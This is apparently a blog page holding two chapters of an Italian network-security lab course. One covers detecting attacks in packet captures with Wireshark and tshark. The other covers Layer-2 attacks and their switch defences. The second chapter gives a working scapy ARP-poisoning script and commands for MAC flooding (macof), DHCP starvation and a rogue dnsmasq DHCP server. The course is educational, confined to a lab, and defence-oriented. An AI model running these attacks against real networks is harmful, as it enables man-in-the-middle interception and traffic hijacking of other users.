Packet Analysis on My personal blog

Analisi dei pacchetti con Wireshark

Tue, 29 Sep 2026 09:00:00 +0200

Perché conta

Ogni capitolo finora ha prodotto traffico: ARP falsi, scan, query DNS avvelenate, SYN flood. Un file di cattura — un pcap — li contiene tutti, byte per byte. Saper leggere un pcap è l’abilità che chiude il cerchio: è così che dopo un incidente si ricostruisce cosa è successo, ed è il modo migliore per capire davvero i protocolli, vedendoli al lavoro invece che descritti.

Wireshark è lo strumento grafico; tshark è la sua versione da riga di comando, utile nel lab e negli script. Tutte le catture di questo capitolo si producono nel lab containerlab rifacendo gli attacchi dei capitoli precedenti.

Un metodo, non clic a caso

Aprire un pcap da 200.000 pacchetti e scorrere a caso non porta da nessuna parte. Il metodo è sempre lo stesso, dal generale al particolare:

  flowchart TD
    A["1. Panoramica<br/>Statistics > Protocol Hierarchy"] --> B["2. Chi parla con chi<br/>Statistics > Conversations"]
    B --> C["3. Isola con un display filter<br/>riduci a ciò che conta"]
    C --> D["4. Segui il flusso<br/>Follow TCP/UDP Stream"]
    D --> E["5. Conclusione<br/>cosa è successo, con prove"]

Protocol Hierarchy dice di che traffico è fatto la cattura: tanto ARP? un picco di DNS? È la prima anomalia da cercare.
Conversations elenca le coppie di host e quanto traffico scambiano: un host che parla con tutti gli altri è sospetto.
I display filter riducono il rumore. Sono la vera competenza di Wireshark.
Follow Stream ricostruisce una conversazione intera come la vedrebbe un’applicazione.

Filtri di cattura e filtri di visualizzazione

Due sistemi diversi, spesso confusi:

Capture filter (sintassi BPF, come tcpdump): decide cosa registrare. Applicato prima, non si può disfare. Es. host 10.0.0.10.
Display filter (sintassi Wireshark): decide cosa mostrare di ciò che è già catturato. Si cambia a piacere. Es. ip.addr == 10.0.0.10 && tcp.flags.syn == 1.

Si cattura largo e si filtra stretto: meglio avere tutto e nascondere, che scoprire dopo di non aver registrato il pacchetto che serviva.

Ritrovare gli attacchi della serie

ARP spoofing (capitolo 02)

Wireshark ha un rilevatore integrato. Il segno è lo stesso MAC che si annuncia per due IP diversi, o un IP che cambia MAC:

1
2

# display filter: tutte le reply ARP
arp.opcode == 2

Nel pannello “Expert Information” compare l’avviso duplicate IP address configured: è l’ARP spoofing visto dall’analizzatore. In tshark:

`1`	`tshark -r cattura.pcap -Y 'arp.duplicate-address-detected' -T fields -e arp.src.proto_ipv4 -e arp.src.hw_mac`

Port scan SYN (capitoli 04-05)

Un singolo host che invia tanti SYN a porte diverse senza completare gli handshake:

`1`	`tcp.flags.syn == 1 && tcp.flags.ack == 0`

In Conversations si vede un host con centinaia di connessioni, ognuna di pochi pacchetti: lo schema dello scan.

DNS poisoning (capitolo 07)

Due risposte per la stessa query con IP diversi, o una risposta che arriva prima della domanda al server reale:

`1`	`dns.flags.response == 1 && dns.qry.name == "banca.it"`

Confrontare l’IP nella risposta con quello atteso rivela la falsificazione.

tshark nel lab

tshark rende l’analisi riproducibile e scriptabile. Esempi utili:

# le 10 conversazioni più voluminose
tshark -r cattura.pcap -q -z conv,ip

# gerarchia dei protocolli (la panoramica, da riga di comando)
tshark -r cattura.pcap -q -z io,phs

# estrarre tutte le query DNS con l'IP di risposta
tshark -r cattura.pcap -Y 'dns.flags.response==1' \
  -T fields -e dns.qry.name -e dns.a

Un caso completo

Mettiamo insieme il metodo su una cattura prodotta nel lab durante un ARP spoofing:

Protocol Hierarchy: una quota di ARP molto più alta del normale. Sospetto.
Conversations / ARP: un MAC (l’attaccante) invia reply per due IP, il gateway e la vittima.
Filtro arp.opcode == 2: si vedono le reply non richieste, ripetute ogni paio di secondi.
Follow Stream su una connessione TCP della vittima: i pacchetti passano fisicamente dal MAC dell’attaccante, pur essendo indirizzati al gateway.
Conclusione: ARP spoofing in corso dall’host con quel MAC, con prova nei pacchetti e negli orari.

Lab

Nel lab, avviate una cattura (tshark -i <switch-port> -w caso.pcap) e lanciate uno degli attacchi dei capitoli 02, 04 o 07.
Fermate la cattura e apritela in Wireshark.
Applicate il metodo in cinque passi e scrivete una conclusione in tre righe: chi, cosa, con quale prova.
Rifatelo per un secondo attacco, senza sapere in anticipo quale: alleno il riconoscimento.

Domanda: in una cattura fatta su una porta normale dello switch, perché potreste non vedere il traffico tra altri due host?

Perché uno switch, a differenza di un hub, inoltra i frame solo alla porta del destinatario: sulla vostra porta arriva solo il vostro traffico (più broadcast e multicast). Per catturare il traffico di altri host serve una porta mirror (SPAN) configurata sullo switch, che copia il traffico di altre porte verso la vostra. È lo stesso motivo per cui l'IDS del capitolo 05 in modalità passiva ha bisogno di una porta mirror. Paradossalmente, durante un MAC flooding riuscito (capitolo 02) vedreste tutto, perché lo switch degradato si comporta come un hub: la stessa anomalia è sia l'attacco sia il sintomo.

Conclusione

L’analisi dei pacchetti è l’abilità che unisce la serie: ogni attacco studiato lascia una traccia riconoscibile nel pcap, e un metodo ordinato — panoramica, conversazioni, filtro, flusso, conclusione — la trova senza affogare nei dati. È anche il modo più efficace per interiorizzare i protocolli: vederli, non leggerli.

Resta un ultimo passo: mettere insieme tutto in un ambiente permanente dove continuare a sperimentare. Il prossimo e ultimo capitolo costruisce l’homelab completo.

Prossimo nella serie: 11 · Un homelab per la sicurezza · Torna alla roadmap

Attacchi a livello 2: ARP spoofing, MAC flooding e DHCP starvation

Tue, 04 Aug 2026 09:00:00 +0200

Perché conta

Nel capitolo precedente la minaccia con rischio più alto dopo la rete ospiti era la T2: un dispositivo già dentro la LAN che si mette in mezzo al traffico. Qui la rendiamo concreta.

Lo strato 2 è quello che quasi nessuno guarda. Un firewall perimetrale non vede cosa succede dentro la LAN, e i protocolli di livello 2 — ARP, DHCP — sono nati negli anni ‘80 senza nessuna autenticazione. Chi riesce a collegarsi a una porta dello switch può, con pochi pacchetti, diventare l’uomo nel mezzo tra due macchine che si credono sole.

Tutti gli esempi girano nel lab containerlab descritto nella roadmap: tre nodi (attacker, victim, gateway) attaccati a uno switch Open vSwitch. Non provate nulla di questo su una rete che non è vostra.

ARP spoofing: avvelenare la cache

Come funziona

Quando victim (10.0.0.10) vuole parlare con gateway (10.0.0.1), non conosce il suo indirizzo MAC. Manda in broadcast una richiesta ARP: “chi ha 10.0.0.1?”. Il gateway risponde con il suo MAC, e la vittima lo mette in cache. Il problema: ARP accetta anche risposte che nessuno ha chiesto, e non verifica chi le manda.

L’attaccante sfrutta proprio questo. Invia alla vittima una risposta ARP falsa — “10.0.0.1 sono io” — e al gateway un’altra — “10.0.0.10 sono io”. Da quel momento tutto il traffico tra i due passa dall’attaccante.

  sequenceDiagram
    participant V as victim 10.0.0.10
    participant A as attacker 10.0.0.66
    participant G as gateway 10.0.0.1
    Note over A: invia ARP reply falsi, ripetuti
    A->>V: 10.0.0.1 is-at MAC_attacker
    A->>G: 10.0.0.10 is-at MAC_attacker
    V->>A: traffico per il gateway (crede sia G)
    A->>G: lo inoltra (resta in mezzo)
    G->>A: risposte per la vittima
    A->>V: le inoltra
    Note over A: legge e può modificare tutto

L’attacco

Con scapy bastano poche righe. Lo script manda una coppia di reply falsi ogni due secondi, perché le cache ARP scadono e vanno “rinfrescate”:

from scapy.all import ARP, send

victim, gateway = "10.0.0.10", "10.0.0.1"

def poison():
    # op=2 è una ARP reply; psrc è l'IP che fingiamo di essere
    send(ARP(op=2, pdst=victim,  psrc=gateway), verbose=False)
    send(ARP(op=2, pdst=gateway, psrc=victim),  verbose=False)

while True:
    poison()
    __import__("time").sleep(2)

Perché l’attaccante possa restare in mezzo e non interrompere la connessione, deve inoltrare i pacchetti che riceve:

1
2

# sul nodo attacker: inoltra i pacchetti invece di scartarli
sysctl -w net.ipv4.ip_forward=1

Da victim, prima e dopo l’attacco, la cache ARP mostra il cambio:

1
2
3

victim:~$ ip neigh show 10.0.0.1
10.0.0.1 dev eth1 lladdr 00:aa:...:gw REACHABLE      # prima: MAC del gateway
10.0.0.1 dev eth1 lladdr 00:bb:...:att REACHABLE     # dopo: MAC dell'attaccante

MAC flooding: trasformare lo switch in un hub

Uno switch impara quale MAC sta dietro quale porta e salva la coppia nella CAM table. Quando la tabella è piena, molti switch entrano in fail-open: inoltrano i frame sconosciuti a tutte le porte, come un vecchio hub. L’attaccante può allora sniffare traffico che non gli è destinato.

1
2

# macof (dal pacchetto dsniff) riempie la CAM table con MAC casuali
macof -i eth1

Nota sul lab: il vero fail-open della CAM table è un comportamento degli switch hardware. Né i bridge Linux né Open vSwitch lo riproducono fedelmente (gestiscono l’esaurimento in altro modo). Per vederlo sul serio serve uno switch Cisco in GNS3 — lo usiamo nel capitolo 03 per DTP.

DHCP starvation e rogue DHCP

L’attacco ha due tempi. Prima starvation: l’attaccante chiede al server DHCP legittimo tutti gli indirizzi disponibili, con tanti MAC diversi, finché il pool è esaurito. Poi rogue DHCP: accende un proprio server DHCP, che ora è l’unico a rispondere. Assegna alle vittime un gateway e un DNS che controlla lui.

# fase 1: esaurisce il pool del server legittimo
dhcpstarv -i eth1          # oppure: yersinia dhcp -attack 1

# fase 2: il server fasullo distribuisce sé stesso come gateway e DNS
# (dnsmasq minimale sul nodo attacker)
dnsmasq --interface=eth1 --dhcp-range=10.0.0.100,10.0.0.200,1h \
        --dhcp-option=3,10.0.0.66 --dhcp-option=6,10.0.0.66

Il risultato è lo stesso dell’ARP spoofing — l’attaccante diventa il gateway — ma qui le vittime glielo chiedono spontaneamente.

La difesa

Tutte e tre le difese stanno sullo switch, non sugli host. Su uno switch gestito si attivano con tre funzioni che lavorano insieme.

! port security: limita quanti MAC può imparare una porta -> blocca il MAC flooding
switchport port-security maximum 2
switchport port-security violation restrict
! DHCP snooping: solo le porte "trust" possono ospitare un server DHCP -> blocca il rogue DHCP
ip dhcp snooping
ip dhcp snooping vlan 10
! Dynamic ARP Inspection: verifica le reply ARP contro la tabella di DHCP snooping -> blocca l'ARP spoofing
ip arp inspection vlan 10

Le tre righe evidenziate sono il cuore: port-security tappa il MAC flooding, DHCP snooping decide da quali porte può arrivare un’offerta DHCP, e Dynamic ARP Inspection (DAI) usa proprio la tabella costruita da DHCP snooping per scartare le reply ARP che non combaciano.

Con Open vSwitch, che non ha DAI, l’equivalente si ottiene con regole OpenFlow che fissano la coppia IP–MAC per porta, oppure limitando a una porta sola il traffico DHCP server (udp src port 67).

Lab

Nel lab lab-l2.clab.yml:

Avviate una cattura su victim (tcpdump -i eth1 -n).
Dal nodo attacker, lanciate lo script scapy di ARP spoofing e attivate ip_forward.
Da victim, fate ping 10.0.0.1 e osservate su attacker (con tcpdump) che i pacchetti passano da lì.
Guardate come cambia ip neigh su victim.

Domanda: perché la vittima non si accorge di nulla, anche se il ping continua a funzionare?

Perché l'attaccante inoltra i pacchetti (ip_forward=1): la connessione resta viva, la latenza aumenta di pochissimo, e a livello 3 (IP) tutto sembra normale. L'unico segno è a livello 2: il MAC associato al gateway è cambiato. È per questo che la difesa sta sullo switch e guarda i MAC, non sugli host che guardano gli IP. Uno strumento come arpwatch sull'host può segnalare il cambio di MAC, ma è un allarme, non una difesa: non impedisce l'attacco.

Conclusione

I tre attacchi condividono la stessa radice: a livello 2 nessuno verifica l’identità. La difesa non sta nel rendere “più sicuri” gli host, ma nel dare allo switch il compito di controllare chi dice cosa — port security, DHCP snooping, Dynamic ARP Inspection. Sono funzioni che quasi ogni switch gestito ha e che quasi nessuno attiva.

C’è però un pezzo che manca: fin qui abbiamo dato per scontato che le porte siano già assegnate alla VLAN giusta. Nel prossimo capitolo vediamo come un attaccante può saltare da una VLAN all’altra, e perché la VLAN nativa è il punto debole.

Prossimo nella serie: 03 · VLAN hopping e hardening degli switch · Torna alla roadmap